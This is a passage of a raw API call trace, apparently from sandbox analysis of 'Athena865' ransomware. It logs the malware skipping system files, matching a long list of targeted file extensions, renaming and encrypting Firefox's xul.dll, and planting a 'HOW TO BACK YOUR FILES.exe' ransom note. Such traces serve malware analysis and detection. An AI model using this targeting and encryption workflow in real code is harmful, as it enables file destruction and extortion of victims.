hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.756] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.757] CloseHandle (hObject=0x17c) returned 1 [0045.758] CloseHandle (hObject=0x154) returned 1 [0045.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.760] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2=".") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="..") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="windows") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="bootmgr") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="temp") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="pagefile.sys") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="boot") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="ids.txt") returned 1 [0045.760] lstrcmpiW (lpString1="xul.dll", lpString2="ntuser.dat") returned 1 [0045.761] lstrcmpiW (lpString1="xul.dll", lpString2="perflogs") returned 1 [0045.761] lstrcmpiW (lpString1="xul.dll", lpString2="MSBuild") returned 1 [0045.761] lstrlenW (lpString="xul.dll") returned 7 [0045.761] lstrcpyW (in: lpString1=0x241e896, lpString2="xul.dll" | out: lpString1="xul.dll") returned="xul.dll" [0045.761] lstrlenW (lpString="xul.dll") returned 7 [0045.761] lstrlenW (lpString="Athena865") returned 9 [0045.761] lstrlenW (lpString=".dll") returned 4 [0045.761] lstrcmpiW (lpString1="xul.dll", lpString2=".dll") returned 1 [0045.761] lstrlenW (lpString=".lnk") returned 4 [0045.761] lstrcmpiW (lpString1="xul.dll", lpString2=".lnk") returned 1 [0045.761] lstrlenW (lpString=".ini") returned 4 [0045.761] lstrcmpiW (lpString1="xul.dll", lpString2=".ini") returned 1 [0045.761] lstrlenW (lpString=".sys") returned 4 [0045.761] lstrcmpiW (lpString1="xul.dll", lpString2=".sys") returned 1 [0045.761] lstrlenW (lpString="xul.dll") returned 7 [0045.761] lstrlenW (lpString="bak") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0045.761] lstrlenW (lpString="ba_") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0045.761] lstrlenW (lpString="dbb") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0045.761] lstrlenW (lpString="vmdk") returned 4 [0045.761] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0045.761] lstrlenW (lpString="rar") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0045.761] lstrlenW (lpString="zip") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0045.761] lstrlenW (lpString="tgz") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0045.761] lstrlenW (lpString="vbox") returned 4 [0045.761] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0045.761] lstrlenW (lpString="vdi") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0045.761] lstrlenW (lpString="vhd") returned 3 [0045.761] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0045.761] lstrlenW (lpString="vhdx") returned 4 [0045.761] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0045.762] lstrlenW (lpString="avhd") returned 4 [0045.762] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0045.762] lstrlenW (lpString="db") returned 2 [0045.762] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0045.762] lstrlenW (lpString="db2") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0045.762] lstrlenW (lpString="db3") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0045.762] lstrlenW (lpString="dbf") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0045.762] lstrlenW (lpString="mdf") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0045.762] lstrlenW (lpString="mdb") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0045.762] lstrlenW (lpString="sql") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0045.762] lstrlenW (lpString="sqlite") returned 6 [0045.762] lstrcmpiW (lpString1="ul.dll", lpString2="sqlite") returned 1 [0045.762] lstrlenW (lpString="sqlite3") returned 7 [0045.762] lstrlenW (lpString="sqlitedb") returned 8 [0045.762] lstrlenW (lpString="xml") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0045.762] lstrlenW (lpString="$er") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0045.762] lstrlenW (lpString="4dd") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0045.762] lstrlenW (lpString="4dl") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0045.762] lstrlenW (lpString="^^^") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0045.762] lstrlenW (lpString="abs") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0045.762] lstrlenW (lpString="abx") returned 3 [0045.762] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0045.762] lstrlenW (lpString="accdb") returned 5 [0045.762] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0045.762] lstrlenW (lpString="accdc") returned 5 [0045.763] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0045.763] lstrlenW (lpString="accde") returned 5 [0045.763] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0045.763] lstrlenW (lpString="accdr") returned 5 [0045.763] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0045.763] lstrlenW (lpString="accdt") returned 5 [0045.763] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0045.763] lstrlenW (lpString="accdw") returned 5 [0045.763] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0045.763] lstrlenW (lpString="accft") returned 5 [0045.763] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0045.763] lstrlenW (lpString="adb") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0045.763] lstrlenW (lpString="adb") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0045.763] lstrlenW (lpString="ade") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0045.763] lstrlenW (lpString="adf") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0045.763] lstrlenW (lpString="adn") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0045.763] lstrlenW (lpString="adp") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0045.763] lstrlenW (lpString="alf") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0045.763] lstrlenW (lpString="ask") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0045.763] lstrlenW (lpString="btr") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0045.763] lstrlenW (lpString="cat") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0045.763] lstrlenW (lpString="cdb") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0045.763] lstrlenW (lpString="ckp") returned 3 [0045.763] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0045.763] lstrlenW (lpString="cma") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0045.764] lstrlenW (lpString="cpd") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0045.764] lstrlenW (lpString="dacpac") returned 6 [0045.764] lstrcmpiW (lpString1="ul.dll", lpString2="dacpac") returned 1 [0045.764] lstrlenW (lpString="dad") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0045.764] lstrlenW (lpString="dadiagrams") returned 10 [0045.764] lstrlenW (lpString="daschema") returned 8 [0045.764] lstrlenW (lpString="db-journal") returned 10 [0045.764] lstrlenW (lpString="db-shm") returned 6 [0045.764] lstrcmpiW (lpString1="ul.dll", lpString2="db-shm") returned 1 [0045.764] lstrlenW (lpString="db-wal") returned 6 [0045.764] lstrcmpiW (lpString1="ul.dll", lpString2="db-wal") returned 1 [0045.764] lstrlenW (lpString="dbc") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0045.764] lstrlenW (lpString="dbs") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0045.764] lstrlenW (lpString="dbt") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0045.764] lstrlenW (lpString="dbv") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0045.764] lstrlenW (lpString="dbx") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0045.764] lstrlenW (lpString="dcb") returned 3 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0045.764] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0045.764] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0045.764] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0045.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\xul.dll.Athena865") returned 56 [0045.765] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\xul.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\xul.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\xul.dll.athena865"), dwFlags=0x1) returned 1 [0045.765] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\xul.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\xul.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.765] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22028400) returned 1 [0045.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.766] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.766] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.766] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.767] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1502370, lpName=0x0) returned 0x17c [0045.768] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1400000, dwNumberOfBytesToMap=0x102370) returned 0x2d50000 [0045.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.926] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.926] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.927] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0045.941] CloseHandle (hObject=0x17c) returned 1 [0045.941] CloseHandle (hObject=0x154) returned 1 [0046.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0046.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.314] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 0 [0046.314] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0046.314] ReleaseMutex (hMutex=0xec) returned 1 [0046.314] CloseHandle (hObject=0xec) returned 1 [0046.314] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Mozilla Maintenance Service" | out: lpString1="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service" [0046.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ea78 | out: hHeap=0x4f0000) returned 1 [0046.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9a0 | out: hHeap=0x4f0000) returned 1 [0046.314] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 50 [0046.314] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C05BFCD27D21BAEAABF42EEB64155732") returned 0xec [0046.315] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0046.315] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Maintenance Service" | out: lpString1="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service" [0046.315] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0046.315] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\how to back your files.exe"), bFailIfExists=1) returned 0 [0046.315] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0046.316] GetLastError () returned 0x0 [0046.316] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0046.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0046.316] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0046.316] CloseHandle (hObject=0xf4) returned 1 [0046.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.317] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0046.317] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0046.317] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.317] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.317] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.317] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.317] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.317] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.317] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.317] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.317] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72768a60, ftCreationTime.dwHighDateTime=0x1d53435, ftLastAccessTime.dwLowDateTime=0xdafe1bd0, ftLastAccessTime.dwHighDateTime=0x1d4fbd1, ftLastWriteTime.dwLowDateTime=0xdafe1bd0, ftLastWriteTime.dwHighDateTime=0x1d4fbd1, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account royalty.exe", cAlternateFileName="ACCOUN~1.EXE")) returned 1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2=".") returned 1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="..") returned 1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="windows") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="bootmgr") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="temp") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="pagefile.sys") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="boot") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="ids.txt") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="ntuser.dat") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="perflogs") returned -1 [0046.317] lstrcmpiW (lpString1="account royalty.exe", lpString2="MSBuild") returned -1 [0046.317] lstrlenW (lpString="account royalty.exe") returned 19 [0046.317] lstrcpyW (in: lpString1=0x241e8ae, lpString2="account royalty.exe" | out: lpString1="account royalty.exe") returned="account royalty.exe" [0046.317] lstrlenW (lpString="account royalty.exe") returned 19 [0046.318] lstrlenW (lpString="Athena865") returned 9 [0046.318] lstrcmpiW (lpString1="yalty.exe", lpString2="Athena865") returned 1 [0046.318] lstrlenW (lpString=".dll") returned 4 [0046.318] lstrcmpiW (lpString1="account royalty.exe", lpString2=".dll") returned 1 [0046.318] lstrlenW (lpString=".lnk") returned 4 [0046.318] lstrcmpiW (lpString1="account royalty.exe", lpString2=".lnk") returned 1 [0046.318] lstrlenW (lpString=".ini") returned 4 [0046.318] lstrcmpiW (lpString1="account royalty.exe", lpString2=".ini") returned 1 [0046.318] lstrlenW (lpString=".sys") returned 4 [0046.318] lstrcmpiW (lpString1="account royalty.exe", lpString2=".sys") returned 1 [0046.318] lstrlenW (lpString="account royalty.exe") returned 19 [0046.318] lstrlenW (lpString="bak") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0046.318] lstrlenW (lpString="ba_") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0046.318] lstrlenW (lpString="dbb") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0046.318] lstrlenW (lpString="vmdk") returned 4 [0046.318] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0046.318] lstrlenW (lpString="rar") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0046.318] lstrlenW (lpString="zip") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0046.318] lstrlenW (lpString="tgz") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0046.318] lstrlenW (lpString="vbox") returned 4 [0046.318] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0046.318] lstrlenW (lpString="vdi") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0046.318] lstrlenW (lpString="vhd") returned 3 [0046.318] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0046.318] lstrlenW (lpString="vhdx") returned 4 [0046.318] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0046.318] lstrlenW (lpString="avhd") returned 4 [0046.319] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0046.319] lstrlenW (lpString="db") returned 2 [0046.319] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0046.319] lstrlenW (lpString="db2") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0046.319] lstrlenW (lpString="db3") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0046.319] lstrlenW (lpString="dbf") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0046.319] lstrlenW (lpString="mdf") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0046.319] lstrlenW (lpString="mdb") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0046.319] lstrlenW (lpString="sql") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0046.319] lstrlenW (lpString="sqlite") returned 6 [0046.319] lstrcmpiW (lpString1="ty.exe", lpString2="sqlite") returned 1 [0046.319] lstrlenW (lpString="sqlite3") returned 7 [0046.319] lstrcmpiW (lpString1="lty.exe", lpString2="sqlite3") returned -1 [0046.319] lstrlenW (lpString="sqlitedb") returned 8 [0046.319] lstrcmpiW (lpString1="alty.exe", lpString2="sqlitedb") returned -1 [0046.319] lstrlenW (lpString="xml") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0046.319] lstrlenW (lpString="$er") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0046.319] lstrlenW (lpString="4dd") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0046.319] lstrlenW (lpString="4dl") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0046.319] lstrlenW (lpString="^^^") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0046.319] lstrlenW (lpString="abs") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0046.319] lstrlenW (lpString="abx") returned 3 [0046.319] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0046.319] lstrlenW (lpString="accdb") returned 5 [0046.320] lstrcmpiW (lpString1="y.exe", lpString2="accdb") returned 1 [0046.320] lstrlenW (lpString="accdc") returned 5 [0046.320] lstrcmpiW (lpString1="y.exe", lpString2="accdc") returned 1 [0046.320] lstrlenW (lpString="accde") returned 5 [0046.320] lstrcmpiW (lpString1="y.exe", lpString2="accde") returned 1 [0046.320] lstrlenW (lpString="accdr") returned 5 [0046.320] lstrcmpiW (lpString1="y.exe", lpString2="accdr") returned 1 [0046.320] lstrlenW (lpString="accdt") returned 5 [0046.320] lstrcmpiW (lpString1="y.exe", lpString2="accdt") returned 1 [0046.320] lstrlenW (lpString="accdw") returned 5 [0046.320] lstrcmpiW (lpString1="y.exe", lpString2="accdw") returned 1 [0046.320] lstrlenW (lpString="accft") returned 5 [0046.320] lstrcmpiW (lpString1="y.exe", lpString2="accft") returned 1 [0046.320] lstrlenW (lpString="adb") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.320] lstrlenW (lpString="adb") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0046.320] lstrlenW (lpString="ade") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0046.320] lstrlenW (lpString="adf") returned 3 [0046.320] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0046.320] lstrlenW (lpString="adn") returned 3 [0046.320] lstrcmpiW (lpString1="exe", 